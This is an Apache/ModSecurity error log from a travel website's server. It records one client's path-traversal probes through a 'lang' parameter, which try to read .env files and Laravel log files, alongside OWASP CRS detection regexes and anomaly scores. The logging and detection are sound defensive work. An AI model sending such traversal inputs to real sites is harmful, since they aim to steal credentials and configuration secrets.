/?lang=..%2F..%2F.env&junk=MUwS3aMA59EskpY2Q3-dbsuNrH-EMQo6mF6xP9zG0WbvnRZYOFNILP1F_auwmWjJfRWKRRkRMZhSp-aOU0GrYv5ceIlUqQ_vpAdHgPuxJw1yVcYwQPkmXJytnwDwaY7g3gtNfoTDkOb83JtSklnTvKsTVMgGkobJ-OPQbjiZmzUMvIj0tFzrzox_40LcfCZq-MQutJVVF8BSFiQdXayZoWLUntJ_uoghSo9vdzb9Pzu8SY3tWSdeZ6Batgd9C9xEkPPUHH01KABCwtfwQId7q9YR&anything=H6XR4CR6NNOMUVLG6U7AS5XWH4JOFR2DPPWYRMYRU24W2VW5RUUCSMIQW3YEJJEZJXDEMFF5KT7PX5PGUCOZRCGELVKISWANB3LP5DZC3BJNTDW6EHZLQE5E7DWSSE5RC7TGSDBGQJG..."] [severity "CRITICAL"] [ver "OWAS [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkw7FYe46zHK_jL3PhwAAABk"]
[Fri Jul 17 08:55:07.768020 2026] [security2:error] [pid 2013829:tid 2013829] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at ARGS:lang. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:lang: ../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkw7FYe46zHK_jL3PhwAAABk"]
[Fri Jul 17 08:55:07.768075 2026] [security2:error] [pid 2013829:tid 2013829] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?lang=../../.env&junk=MUwS3aMA59EskpY2Q3-dbsuNrH-EMQo6mF6xP9zG0WbvnRZYOFNILP1F_auwmWjJfRWKRRkRMZhSp-aOU0GrYv5ceIlUqQ_vpAdHgPuxJw1yVcYwQPkmXJytnwDwaY7g3gtNfoTDkOb83JtSklnTvKsTVMgGkobJ-OPQbjiZmzUMvIj0tFzrzox_40LcfCZq-MQutJVVF8BSFiQdXayZoWLUntJ_uoghSo9vdzb9Pzu8SY3tWSdeZ6Batgd9C9xEkPPUHH01KABCwtfwQId7q9YR&anything=H6XR4CR6NNOMUVLG6U7AS5XWH4JOFR2DPPWYRMYRU24W2VW5RUUCSMIQW3YEJJEZJXDEMFF5KT7PX5PGUCOZRCGELVKISWANB3LP5DZC3BJNTDW6EHZLQE5E7DWSSE5RC7TGSDBGQJGFCPYB2EN75CS..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkw7FYe46zHK_jL3PhwAAABk"]
[Fri Jul 17 08:55:07.768123 2026] [security2:error] [pid 2013829:tid 2013829] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?lang=../../.env&junk=muws3ama59eskpy2q3-dbsunrh-emqo6mf6xp9zg0wbvnrzyofnilp1f_auwmwjjfrwkrrkrmzhsp-aou0gryv5ceiluqq_vpadhgpuxjw1yvcywqpkmxjytnwdway7g3gtnfotdkob83jtsklntvkstvmggkobj-opqbjizmzumvij0tfzrzox_40lcfczq-mqutjvvf8bsfiqdxayzowluntj_uoghso9vdzb9pzu8sy3twsdez6batgd9c9xekppuhh01kabcwtfwqid7q9yr&anything=h6xr4cr6nnomuvlg6u7as5xwh4jofr2dppwyrmyru24w2vw5ruucsmiqw3yejjezjxdemff5kt7px5pgucozrcgelvkiswanb3lp5dzc3bjntdw6ehzlqe5e7dwsse5rc7tgsdbgqjgfcpyb2en75cs..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkw7FYe46zHK_jL3PhwAAABk"]
[Fri Jul 17 08:55:07.768149 2026] [security2:error] [pid 2013829:tid 2013829] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:lang. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:lang: ../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkw7FYe46zHK_jL3PhwAAABk"]
[Fri Jul 17 08:55:07.768176 2026] [security2:error] [pid 2013829:tid 2013829] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:lang. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:lang: ../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkw7FYe46zHK_jL3PhwAAABk"]
[Fri Jul 17 08:55:07.768973 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgk4l9vhFBGA6D8l95sQAAAAw"]
[Fri Jul 17 08:55:07.769098 2026] [hostinglimits:warn] [pid 1993572:tid 1993572] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993572) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:07.769250 2026] [security2:error] [pid 2013829:tid 2013829] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 30)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkw7FYe46zHK_jL3PhwAAABk"]
[Fri Jul 17 08:55:07.769339 2026] [hostinglimits:warn] [pid 2013829:tid 2013829] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2013829) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:07.769347 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=10,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgk4l9vhFBGA6D8l95sQAAAAw"]
[Fri Jul 17 08:55:07.769605 2026] [security2:error] [pid 2013829:tid 2013829] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 30 - SQLI=0,XSS=0,RFI=0,LFI=30,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 30, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgkw7FYe46zHK_jL3PhwAAABk"]
[Fri Jul 17 08:55:07.775659 2026] [security2:error] [pid 2013797:tid 2013797] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: %2F..%2F found within REQUEST_URI_RAW: /?lang=..%2F..%2F..%2F..%2F..%2F.env&sid=odaPduQxhuO6hC9tMgWEF20mhP7Wo1IuU81ff0pSqj6XznufmB43Vt1mtHMsAuum0CjQ7dcjjnXDFteOVEw7MghmVQNssBo67GQ4qUpk8FKnt2puxQ3Bfzd4dxagKh2Z9IT99Sa4rnSuGLlGlQxMDumgl290DfiZXx95AYzh9wFAAH53oKzvUf02v9rr8pBXUxfXEWzOkuwQvnpaAZdyOrLwrQsWp8_pS8x5UKWWZ0bu-Va_K-a9iUH83uCxQGMPF9mwFVUQYc9ATG6R3viKMwX8&debug=E5PBYDWF452BAFRB7RS4KBFPGDVH3RPF3RHK32FNLYZK46QAGQQ4SK5QZVMIBFYBXKIMZV6TENN2OALVPW64MBLYM4HDSOOOZOWW3QY7ZYHBAQWRPXARR4VL74AKDXXW..."] [severity "CRITICAL"] [ver "OWAS [hostname "2s-travels.com"] [uri "/"] [unique_id "almgk1h1WDijTxd1xw5MHgAAAAc"]
[Fri Jul 17 08:55:07.775724 2026] [security2:error] [pid 2013797:tid 2013797] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at ARGS:lang. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:lang: ../../../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgk1h1WDijTxd1xw5MHgAAAAc"]
[Fri Jul 17 08:55:07.775770 2026] [security2:error] [pid 2013797:tid 2013797] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?lang=../../../../../.env&sid=odaPduQxhuO6hC9tMgWEF20mhP7Wo1IuU81ff0pSqj6XznufmB43Vt1mtHMsAuum0CjQ7dcjjnXDFteOVEw7MghmVQNssBo67GQ4qUpk8FKnt2puxQ3Bfzd4dxagKh2Z9IT99Sa4rnSuGLlGlQxMDumgl290DfiZXx95AYzh9wFAAH53oKzvUf02v9rr8pBXUxfXEWzOkuwQvnpaAZdyOrLwrQsWp8_pS8x5UKWWZ0bu-Va_K-a9iUH83uCxQGMPF9mwFVUQYc9ATG6R3viKMwX8&debug=E5PBYDWF452BAFRB7RS4KBFPGDVH3RPF3RHK32FNLYZK46QAGQQ4SK5QZVMIBFYBXKIMZV6TENN2OALVPW64MBLYM4HDSOOOZOWW3QY7ZYHBAQWRPXARR4VL74AKDXXW77WN6P4A5MN2QVEJSD..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgk1h1WDijTxd1xw5MHgAAAAc"]
[Fri Jul 17 08:55:07.775814 2026] [security2:error] [pid 2013797:tid 2013797] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?lang=../../../../../.env&sid=odapduqxhuo6hc9tmgwef20mhp7wo1iuu81ff0psqj6xznufmb43vt1mthmsauum0cjq7dcjjnxdfteovew7mghmvqnssbo67gq4qupk8fknt2puxq3bfzd4dxagkh2z9it99sa4rnsugllglqxmdumgl290dfizxx95ayzh9wfaah53okzvuf02v9rr8pbxuxfxewzokuwqvnpaazdyorlwrqswp8_ps8x5ukwwz0bu-va_k-a9iuh83ucxqgmpf9mwfvuqyc9atg6r3vikmwx8&debug=e5pbydwf452bafrb7rs4kbfpgdvh3rpf3rhk32fnlyzk46qagqq4sk5qzvmibfybxkimzv6tenn2oalvpw64mblym4hdsooozoww3qy7zyhbaqwrpxarr4vl74akdxxw77wn6p4a5mn2qvejsd..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgk1h1WDijTxd1xw5MHgAAAAc"]
[Fri Jul 17 08:55:07.775842 2026] [security2:error] [pid 2013797:tid 2013797] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:lang. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:lang: ../../../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgk1h1WDijTxd1xw5MHgAAAAc"]
[Fri Jul 17 08:55:07.775866 2026] [security2:error] [pid 2013797:tid 2013797] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:lang. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:lang: ../../../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgk1h1WDijTxd1xw5MHgAAAAc"]
[Fri Jul 17 08:55:07.775972 2026] [security2:error] [pid 2029866:tid 2029866] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:lang. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:lang: ../storage/logs/laravel.log"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgk11_86A5R6msWNfUawAAABI"]
[Fri Jul 17 08:55:07.776002 2026] [security2:error] [pid 2029866:tid 2029866] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:lang. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:lang: ../storage/logs/laravel.log"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgk11_86A5R6msWNfUawAAABI"]
[Fri Jul 17 08:55:07.777008 2026] [security2:error] [pid 2013797:tid 2013797] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 30)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgk1h1WDijTxd1xw5MHgAAAAc"]
[Fri Jul 17 08:55:07.777088 2026] [security2:error] [pid 2029866:tid 2029866] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgk11_86A5R6msWNfUawAAABI"]
[Fri Jul 17 08:55:07.777155 2026] [hostinglimits:warn] [pid 2013797:tid 2013797] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2013797) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:07.777196 2026] [hostinglimits:warn] [pid 2029866:tid 2029866] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2029866) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:07.777453 2026] [security2:error] [pid 2029866:tid 2029866] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=10,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgk11_86A5R6msWNfUawAAABI"]
[Fri Jul 17 08:55:07.777525 2026] [security2:error] [pid 2013797:tid 2013797] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 30 - SQLI=0,XSS=0,RFI=0,LFI=30,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 30, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgk1h1WDijTxd1xw5MHgAAAAc"]
[Fri Jul 17 08:55:07.781024 2026] [security2:error] [pid 2030804:tid 2030804] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: %2F..%2F found within REQUEST_URI_RAW: /?lang=..%2F..%2Fstorage%2Flogs%2Flaravel.log&token=JmEevDyQgZ_g-gK00N2vrpPeVCEnFbKOSzC8w5W3VECAlTjkymPoLtEx-tZsY0y2iY33nLDIbeKwzqw-7Koy1ImJ9taMGxjYS-stDsFbmM4HSWPXf_kPjg6wPdzV9wMbF5LUfhjnDuSnMIC-MV6vKW67kmgkjjd1P_cNpBcZ1H8yIcylQARHOcRSJi3RgWRdMYC2WS27CvyHsaaRyKwI7Dc-8escQil0IWMJ48fqe7NhBiWit2ozwFrSyMV26u-0qCR82E00fGsSVhNqa0IMkz_A&ts=6GCDFKGDOV7VB6GWMP56BW43VPJFUZLINVDIQHTUWCO4MMLEOSDITKO35QEPVDJRMKQOEIIHWPF53CWUV565A43BQANUCWDEB7ATAWZHJOUMAQO3UFR34H7T..."] [severity "CRITICAL"] [ver "OWAS [hostname "2s-travels.com"] [uri "/"] [unique_id "almgk4e39YUk0SgV8AU6ggAAABE"]
[Fri Jul 17 08:55:07.781082 2026] [security2:error] [pid 2030804:tid 2030804] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at ARGS:lang. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:lang: ../../storage/logs/laravel.log"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgk4e39YUk0SgV8AU6ggAAABE"]
[Fri Jul 17 08:55:07.781140 2026] [security2:error] [pid 2030804:tid 2030804] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?lang=../../storage/logs/laravel.log&token=JmEevDyQgZ_g-gK00N2vrpPeVCEnFbKOSzC8w5W3VECAlTjkymPoLtEx-tZsY0y2iY33nLDIbeKwzqw-7Koy1ImJ9taMGxjYS-stDsFbmM4HSWPXf_kPjg6wPdzV9wMbF5LUfhjnDuSnMIC-MV6vKW67kmgkjjd1P_cNpBcZ1H8yIcylQARHOcRSJi3RgWRdMYC2WS27CvyHsaaRyKwI7Dc-8escQil0IWMJ48fqe7NhBiWit2ozwFrSyMV26u-0qCR82E00fGsSVhNqa0IMkz_A&ts=6GCDFKGDOV7VB6GWMP56BW43VPJFUZLINVDIQHTUWCO4MMLEOSDITKO35QEPVDJRMKQOEIIHWPF53CWUV565A43BQANUCWDEB7ATAWZHJOUMAQO3UFR34H7TZQUCWJ7CCOKYLNVR..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgk4e39YUk0SgV8AU6ggAAABE"]
